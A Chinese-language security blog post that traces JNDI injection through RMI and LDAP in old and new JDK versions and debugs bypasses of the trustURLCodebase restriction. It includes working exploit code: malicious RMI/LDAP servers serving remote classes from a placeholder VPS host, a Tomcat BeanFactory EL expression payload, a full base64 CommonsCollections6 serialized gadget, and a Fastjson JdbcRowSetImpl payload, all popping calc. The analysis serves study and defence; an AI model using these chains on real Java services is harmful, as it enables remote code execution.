高低JDK版本中JNDI注入
|
536
|
0
|
Java,Security

4387 字
|
35 分钟

高低JDK版本中JNDI注入

这篇文章主要是分析在高低版本JDK中JNDI注入RMI和LDAP两个攻击向量的调用过程以及异同点，并且尝试调试高版本JDK的绕过方法。

 

分析高低版JDK下的JNDI注入

RMI

低版本

这里用RMI+Reference做演示，JDK版本为8u65：

  • 服务端
import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Aserver {
    public static void main(String args[]) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference refObj = new Reference("ExportObject", "ExportObject", "http://VPS:8000/");
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
        System.out.println("[*]Binding 'exp' to 'rmi://127.0.0.1:1099/exp'");
        registry.bind("exp", refObjWrapper);
    }
}
  • 客户端
import javax.naming.Context;
import javax.naming.InitialContext;
import java.util.Properties;

public class AClient {
    public static void main(String[] args) throws Exception {
        Properties env = new Properties();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        env.put(Context.PROVIDER_URL, "rmi://127.0.0.1:1099");
        Context ctx = new InitialContext(env);
        String uri = "rmi://127.0.0.1:1099/exp";
        ctx.lookup(uri);
    }
}
  • ExportObject.java
public class ExportObject {

    public ExportObject() throws Exception {
        String cmd="calc";
        Runtime.getRuntime().exec(cmd);
    }
}

直接在com.sun.jndi.rmi.registry.RegistryContext类的lookup()函数下打上断点：

image-20220509105248455

其中从RMI注册表中lookup查询到服务端中目标类的Reference后返回一个ReferenceWrapper_Stub类实例，该类实例就是客户端的存根、用于实现和服务端进行交互，最后调用decodeObject()函数来解析。跟进decodeObject()函数中：

image-20220509105528006

先判断入参ReferenceWrapper_Stub类实例是否是RemoteReference接口实现类实例，而ReferenceWrapper_Stub类正是实现RemoteReference接口类的，因此通过判断调用getReference()来获取到ReferenceWrapper_Stub类实例中的Reference即我们在恶意RMI注册中绑定的恶意Reference；再往下调用NamingManager.getObjectInstance()来获取远程服务端上的类实例。跟进：

image-20220509105905363

调用到getObjectFactoryFromReference()函数，尝试从Reference中获取ObjectFactory。跟进：

image-20220509110112592

通过codebase和factoryName来调用loadClass()函数来远程加载恶意类EvilClassFactory，最后直接通过newInstance()实例化该远程恶意类并返回。这里执行的newInstance()方法就是我们恶意类里面的构造方法，所以就触发了任意代码执行。

这里返回新建的远程类实例之前会先对实例转换为ObjectFactory类，因此，如果远程类不实现ObjectFactory接口类的话就会在此处报错，之前一些demo的恶意类没实现ObjectFactory类所出现的报错正出于此。（比如我这里的恶意类走到这里就报错了）

image-20220509110249972

接着如果没有产生报错的话，会将类实例化得到的对象返回到NamingManager.getObjectInstance()方法中：

image-20220509110714680

再往下就是判断新建的远程类实例是否为null，不为null则调用该远程类的getObjectInstance()函数并返回，否则直接返回Reference实例。从这里知道，其实恶意类的恶意代码除了能写在无参构造函数外，也可以写在重写的getObjectInstance()函数中来触发。

至此，整个调用过程调试完毕。

高版本

在JDK 6u141、7u131、8u121之后，增加了com.sun.jndi.rmi.object.trustURLCodebase选项，默认为false，禁止RMI和CORBA协议使用远程codebase的选项。这里更换8u202版本的JDK来继续调试。

直接运行会报错：

image-20220509111324997

报错说该ObjectFactory是不可信的，除非设置com.sun.jndi.rmi.object.trustURLCodebase项的值为true：

进行调试看看，前面的流程都一样，直接走到com.sun.jndi.rmi.registry.RegistryContext类的decodeObject()：

image-20220509111922918

在调用NamingManager.getObjectInstance()函数获取Reference指定的远程类之前先进行com.sun.jndi.rmi.object.trustURLCodebase值的判断，该值默认为false因此直接抛出错误。

LDAP

低版本

这里使用LDAP+Referernce做演示，JDK版本为8u65：

  • 服务端
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

public class LdapServer {

    private static final String LDAP_BASE = "dc=example,dc=com";


    public static void main (String[] args) {

        String url = "http://vps:8000/#ExportObject";
        int port = 1234;


        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;


        /**
         *
         */
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }


        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }

        }


        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference");
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}
  • 客户端
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class LdapClient {
    public static void main(String[] args) throws Exception{
        try {
            Context ctx = new InitialContext();
            ctx.lookup("ldap://localhost:1234/ExportObject");
            String data = "This is LDAP Client.";
        }
        catch (NamingException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
    }
}
  • ExportObject.java
public class ExportObject {

    public ExportObject() throws Exception {
        String cmd="calc";
        Runtime.getRuntime().exec(cmd);
    }
}

先看下，我们在恶意LDAP服务端的sendResult()函数中设置了如下属性项：

e.addAttribute("javaClassName", "Exploit");
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());

直接在com.sun.jndi.ldap.LdapCtx类的c_lookup()函数上打上断点，此时函数调用栈如图，看到就是不同几个类的lookup()函数在逐次调用：

image-20220509114157801

往下走，图中断点这里：

image-20220509114816443

其中这里的JAVA_ATTRIBUTES是类定义好的静态变量：

image-20220509115153747

var4变量是BasicAttributes类实例、其值是我们在恶意LDAP服务端设置的属性值，因为设置了javaClassName属性值为”Exploit”，因此调用了decodeObject()函数来对var4进行对象解码操作。跟进：

image-20220509115955918

这里IDEA显示的var1和var2变量好像对调了，不知道啥情况，应该是var2得到的是codebase的URL，而var1获得的是objectClass才对，不然if判断那里就进不去了。

跟进decodeObject()函数中，先调用getCodebases()函数获取到javaCodeBase项设置的URL地址http://vps:8000/，接着两个判断是否存在javaSerializedData和javaRemoteLocation这两项的值，这里由于没设置就直接进入最后的else语句逻辑，最后由于var1不为null且var1值为前面设置的objectClass内容因此直接调用到decodeReference()函数来进一步解码Reference：

image-20220509143547462

在decodeReference()函数中，根据设置的javaFactory、javaClassName、javaCodeBase等项来通过执行Reference("ExportObject", "ExportObject", "http://vps:8000/")来新建一个Reference类实例，最后直接返回该Reference类实例。

返回的Reference类实例回到com.sun.jndi.ldap.LdapCtx类的c_lookup()函数中往下执行：

image-20220509144049847

看到最后是调用到了DirectoryManager.getObjectInstance()函数，跟进去getObjectInstance()函数的调用：

image-20220509144349210

其中调用了getObjectFactoryFromReference()函数来从Reference中获取ObjectFactory后再调用getObjectInstance()函数来获取实际的对象实例。（这里是不是很熟悉了，跟RMI+Reference是一样的）继续跟进getObjectFactoryFromReference()：

image-20220509144559029

老样子，通过factoryName和codebase来调用loadClass()函数从http://vps:8000/中远程加载类（在loadClass()函数中实际是通过FactoryURLClassLoader加载器来加载远程Factory URL类），然后将获取回来的类进行newInstance()实例化，从而触发任意代码执行。

image-20220509144822440

同样地，我们这个恶意类没有实现ObjectFactory接口类，实例化之后无法进行转型报错。

高版本

JDK 6u211、7u201、8u191之后，增加了com.sun.jndi.ldap.object.trustURLCodebase选项，默认为false，禁止LDAP协议使用远程codebase的选项。这里更换8u202版本的JDK来继续调试。

前面的步骤是一样的，这里直接跟到javax.naming.spi.DirectoryManager.java的getObjectFactoryFromReference()方法：

image-20220509145614955

跟低版本的一样，还是用factoryName和codebase来调用loadClass()函数从http://vps:8000/中远程加载类，但是这里就出问题了，返回了null，跟进去看看：

image-20220509145750973

看到这里添加了个if判断条件，检测com.sun.jndi.ldap.object.trustURLCodebase的值是否为true，是的话才能正常通过URLClassLoader来加载远程类，否则返回null。

这样一来就无法获取到远程服务器上的恶意类了，导致代码执行失败。

 

绕过高版本JDK（8u191+）限制

由前面知道，在JDK 6u211、7u201、8u191、11.0.1之后，增加了com.sun.jndi.ldap.object.trustURLCodebase选项，默认为false，禁止LDAP协议使用远程codebase的选项，把LDAP协议的攻击途径也给禁了。

KINGX提到了如下两种绕过方式：

  1. 找到一个受害者本地CLASSPATH中的类作为恶意的Reference Factory工厂类，并利用这个本地的Factory类执行命令。
  2. 利用LDAP直接返回一个恶意的序列化对象，JNDI注入依然会对该对象进行反序列化操作，利用反序列化Gadget完成命令执行。

这两种方式都非常依赖受害者本地CLASSPATH中环境，需要利用受害者本地的Gadget进行攻击。

简单地说，在低版本JDK的JNDI注入中，主要利用的就是classFactoryLocation这个参数来实现远程加载类利用的。但是在高版本JDK中对classFactoryLocation这个途径实现了限制，但是对于classFactory这个参数即本地ClassPath中如果存在Gadget的话还是能够进行JNDI注入攻击的。

利用本地恶意Class作为Reference Factory

简单地说，就是要服务端本地ClassPath中存在恶意Factory类可被利用来作为Reference Factory进行攻击利用。该恶意Factory类必须实现javax.naming.spi.ObjectFactory接口，实现该接口的getObjectInstance()方法。

大佬找到的是这个org.apache.naming.factory.BeanFactory类，其满足上述条件并存在于Tomcat依赖包中，应用广泛。该类的getObjectInstance()函数中会通过反射的方式实例化Reference所指向的任意Bean Class，并且会调用setter方法为所有的属性赋值。而该Bean Class的类名、属性、属性值，全都来自于Reference对象，均是攻击者可控的。

攻击利用

具体依赖Tomcat中的jar包为：catalina.jar、el-api.jar、jasper-el.jar。

  • 服务端
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class EvilRMIServer {
    public static void main(String[] args) throws Exception {
        System.out.println("[*]Evil RMI Server is Listening on port: 6666");
        Registry registry = LocateRegistry.createRegistry( 6666);
        // 实例化Reference，指定目标类为javax.el.ELProcessor，工厂类为org.apache.naming.factory.BeanFactory
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        // 强制将'x'属性的setter从'setX'变为'eval', 详细逻辑见BeanFactory.getObjectInstance代码
        ref.add(new StringRefAddr("forceString", "x=eval"));
        // 利用表达式执行命令
        ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));
        System.out.println("[*]Evil command: calc");
        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
        registry.bind("Object", referenceWrapper);
    }
}

ResourceRef 在 tomcat 中表示某个资源的引用，其构造函数参数如下:

// java/org/apache/naming/ResourceRef.java
/**
    * Resource Reference.
    *
    * @param resourceClass Resource class
    * @param description Description of the resource
    * @param scope Resource scope
    * @param auth Resource authentication
    * @param singleton Is this resource a singleton (every lookup should return
    *                  the same instance rather than a new instance)?
    * @param factory The possibly null class name of the object's factory.
    * @param factoryLocation The possibly null location from which to load the
    *                        factory (e.g. URL)
    */
public ResourceRef(String resourceClass, String description,
                    String scope, String auth, boolean singleton,
                    String factory, String factoryLocation)

其中我们指定了资源的实际类为 javax.el.ELProcessor，工厂类为 apache.naming.factory.BeanFactory。x=eval 令上述代码实际执行的是 ELProcessor.eval 函数，其第一个参数是属性 x 的值，这里指定的是弹计算器。

  • 服务端
import javax.naming.Context;
import javax.naming.InitialContext;

public class Client {
    public static void main(String[] args) throws Exception {
        String uri = "rmi://localhost:6666/Object";
        Context ctx = new InitialContext();
        ctx.lookup(uri);
    }
}

需要在maven中导入依赖：

<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>8.5.51</version>
</dependency>
    <!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-jasper -->
<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-jasper</artifactId>
    <version>8.5.51</version>
</dependency>
image-20220509155148804

几种变体的表达式

前面的恶意表达式就是通过反射的方式来实现命令执行的，本地测试有如下几种变体，原理都是基于反射调用任意类方法：

import javax.el.ELProcessor;

public class Test {
    public static void main(String[] args) {
        String poc = "''.getClass().forName('javax.script.ScriptEngineManager')" +
                ".newInstance().getEngineByName('nashorn')" +
                ".eval(\"s=[3];s[0]='cmd';s[1]='/C';s[2]='calc';java.lang.Runtime.getRuntime().exec(s);\")";
//        String poc = "''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass())" +
//                ".invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime')" +
//                ".invoke(null),'calc.exe')}";
//        String poc = "''.getClass().forName('javax.script.ScriptEngineManager')" +
//                ".newInstance().getEngineByName('JavaScript')" +
//                ".eval(\"java.lang.Runtime.getRuntime().exec('calc')\")";
        new ELProcessor().eval(poc);
    }
}

调试分析

我们通过调试分析来调用过程，前面的部分和正常调用一样，到javax.naming.spi.NamingManager.java类的getObjectInstance()方法中：

image-20220509155902626

这里看到由于我们构造Reference的时候里面传的工厂类为org.apache.naming.factory.BeanFactory，因此这里从Reference拿到的factory就是org.apache.naming.factory.BeanFactory类，接着调用getObjectInstance()。

同时我们应该注意到，想要从上一步的getObjectFactoryFromReference(ref, f);中得到返回factory不报错的话，需要传入的Factory类必须实现ObjectFactory接口类（因为会对获取回来的类实例化后强转为ObjectFactory类型）、而org.apache.naming.factory.BeanFactory正好满足这一点

image-20220509160613504

回到getObjectInstance()方法中接着往下走跟进getObjectInstance()：

image-20220509160853712

上来就是判断obj参数是否是ResourceRef类实例，是的话代码才会往下走，这就是为什么我们在恶意RMI服务端中构造Reference类实例的时候必须要用Reference类的子类ResourceRef类来创建实例。往下走：

image-20220509161201202

接着获取Bean类为javax.el.ELProcessor后，实例化该类并获取其中的forceString类型的内容，其值是我们构造的x=eval内容。继续往下走：

image-20220509161457436

这里先用,分割value属性的值，然后循环里面每一个值，判断里面是否存在=：若存在就获取等号前的值作为param，等号后的值为propName；否则就使用set拼接value的值作为propName的值；如此，之前设置的forceString的值就可以强制将x属性的setter方法转换为调用我们指定的eval()方法了，这是BeanFactory类能进行利用的关键点！

然后调用beanClass.getMethod(propName, paramTypes)获取eval方法

image-20220509162341996

接着是多个do while语句来遍历获取ResourceRef类实例addr属性的元素，当获取到addrType为x的元素时退出当前所有循环，然后调用getContent()函数来获取x属性对应的contents即恶意表达式。这里就是恶意RMI服务端中ResourceRef类实例添加的第二个元素（也就是EL表达式的命令）。往下走：

image-20220509162624553

获取到类型为x对应的内容为恶意表达式后，从前面的缓存forced中取出key为x的值即javax.el.ELProcessor类的eval()方法并赋值给method变量，最后就是通过method.invoke()即反射调用的来执行：

new ELProcessor().eval("".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()"))

小结

小结一下几个关键点：

  • 这种方法是从本地ClassPath中寻找可能存在Tomcat相关依赖包来进行触发利用，已知的类是org.apache.naming.factory.BeanFactory；
  • 由于org.apache.naming.factory.BeanFactory类的getObjectInstance()方法会判断是否为ResourceRef类实例，因此在RMI服务端绑定的Reference类实例中必须为Reference类的子类ResourceRef类实例，这里resourceClass选择的也是在Tomcat环境中存在的javax.el.ELProcessor类；
  • ResourceRef类实例分别添加了两次StringRefAddr类实例元素，第一次是类型为forceString、内容为x=eval的StringRefAddr类实例，这里看org.apache.naming.factory.BeanFactory类的getObjectInstance()方法源码发现，程序会判断是否存在=号，若存在则将x属性的默认setter方法设置为我们eval；第二次是类型为x、内容为恶意表达式的StringRefAddr类实例，这里是跟前面的x属性关联起来，x属性的setter方法是eval()，而现在它的内容为恶意表达式，这样就能串起来调用javax.el.ELProcessor类的eval()函数执行恶意表达式从而达到攻击利用的目的；

利用LDAP返回序列化数据，触发本地Gadget

之前在JNDI注入的文章中讲到了可以利用LDAP+Reference的方式进行攻击利用，但是在JDK 8u191以后的版本中增加了com.sun.jndi.ldap.object.trustURLCodebase选项，默认为false，禁止LDAP协议使用远程codebase的选项，把LDAP协议的攻击途径也给禁了。但是，攻击者仍然可以通过服务端本地ClassPath中存在的反序列化漏洞Gadget来绕过高版本JDK的限制。

LDAP服务端除了支持JNDI Reference这种利用方式外，还支持直接返回一个序列化的对象。如果Java对象的javaSerializedData属性值不为空，则客户端的obj.decodeObject()方法就会对这个字段的内容进行反序列化。此时，如果服务端ClassPath中存在反序列化咯多功能利用Gadget如CommonsCollections库，那么就可以结合该Gadget实现反序列化漏洞攻击。

攻击利用

假设目标环境存在Commons-Collections-3.2.1包，且存在JNDI的lookup()注入或Fastjson反序列化漏洞。

使用ysoserial工具生成Commons-Collections这条Gadget并进行Base64编码输出：

java -jar ysoserial-master.jar CommonsCollections6 'calc' | base64

输出：

rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg=

恶意LDAP服务器如下，主要是在javaSerializedData字段内填入刚刚生成的反序列化payload数据：

import com.unboundid.util.Base64;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;

public class LdapServer {

    private static final String LDAP_BASE = "dc=example,dc=com";


    public static void main (String[] args) {

        String url = "http://vps:8000/#ExportObject";
        int port = 1234;


        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;


        /**
         *
         */
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }


        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }

        }


        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }

            // Payload1: 利用LDAP+Reference Factory
//            e.addAttribute("javaCodeBase", cbstring);
//            e.addAttribute("objectClass", "javaNamingReference");
//            e.addAttribute("javaFactory", this.codebase.getRef());

            // Payload2: 返回序列化Gadget
            try {
                e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg="));
            } catch (ParseException exception) {
                exception.printStackTrace();
            }

            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}

目标服务端代码，假设存在JNDI lookup()函数注入或Fastjson反序列化漏洞，此时通过JNDI注入实现反序列化漏洞利用：

import com.alibaba.fastjson.JSON;
import javax.naming.InitialContext;

public class Test {
    public static void main(String[] args) throws Exception {
        // lookup参数注入触发
        Context ctx = new InitialContext();
        ctx.lookup("ldap://localhost:1234/ExportObject");

        // Fastjson反序列化JNDI注入Gadget触发
        String payload ="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1234/ExportObject\",\"autoCommit\":\"true\" }";
        JSON.parse(payload);
    }
}
image-20220509170431546

调试分析

LDAP调用的流程和前面一样，调用链都是不同类lookup()函数之间的调用，com.sun.jndi.ldap.LdapCtx类的c_lookup()函数中会调用到com.sun.jndi.ldap.Obj类的decodeObject()函数进行解码对象的操作。跟进去：

image-20220509171133148

先调用getCodebases()函数从JAVA_ATTRIBUTES中取出索引为4即javaCodeBase的内容，由于本次并没有设置这个属性因此返回null；然后从JAVA_ATTRIBUTES中取出索引为1即javaSerializedData的内容，这个我们是在恶意LDAP服务端中设置了的、内容就是恶意的Commons-Collections这个Gadget的恶意利用序列化对象字节流；这里var2变量为null，传入getURLClassLoader()函数调用后返回的是AppClassLoader即应用类加载器；再往下就是调用deserializeObject()函数来反序列化javaSerializedData的对象字节码。跟进去：

image-20220509171605068

可以看到反序列化用的readObject()方法了

 

参考资料

